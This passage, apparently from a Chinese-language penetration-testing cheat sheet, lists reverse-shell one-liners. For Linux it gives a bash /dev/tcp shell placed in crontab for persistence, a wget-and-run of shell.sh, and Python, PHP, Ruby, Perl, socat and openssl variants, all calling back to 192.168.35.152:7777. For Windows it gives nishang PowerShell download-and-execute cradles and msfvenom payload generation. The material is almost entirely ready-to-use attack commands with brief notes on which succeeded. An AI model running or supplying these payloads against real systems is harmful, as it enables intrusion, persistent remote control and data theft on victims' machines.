# 上傳shell.sh文件
wget 192.168.35.152/shell.sh
# 執行shell.sh文件
bash shell.sh

8、crontab

* * * * * root bash -i >& /dev/tcp/192.168.35.152/7777  0>&1

9、whois

# 只能執行指定命令，如pwd命令
whois -h 192.168.35.152 -p 7777 `pwd` /python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.35.152",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

10、php

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

11、ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.35.152",7777).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'  # 執行失敗
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.35.152","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

12、socat

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777

13、perl

perl -e 'use Socket;$i="192.168.35.152";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# or
ncat --ssl -vv -l -p 7777
# 受控端
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.35.152:7777 > /tmp/s; rm /tmp/s

二、反彈Shell-Windows

Windows下的反彈shell僅測試了nc，執行成功。

3、nishang

Nishang是一個基于PowerShell的攻擊框架，整合了一些PowerShell攻擊腳本和有效載荷，可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等類型shell。
項目地址：https://github.com/samratashok/nishang
# 將nishang下載到攻擊者本地，在目標機使用powershell執行以下命令
IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.35.152 -port 7777

4、Reverse UDP shell

IEX (New-Object Net.WebClient).DownloadString('http://192.168.35.152/nishang/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.35.152 -port 7777

5、MSF

# 找出各類反彈一句話payload的路徑信息msfvenom -l payloads | grep 'cmd/windows/reverse'
# 生成反彈shell，復制粘貼到靶機上運行msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.35.152 LPORT=7777
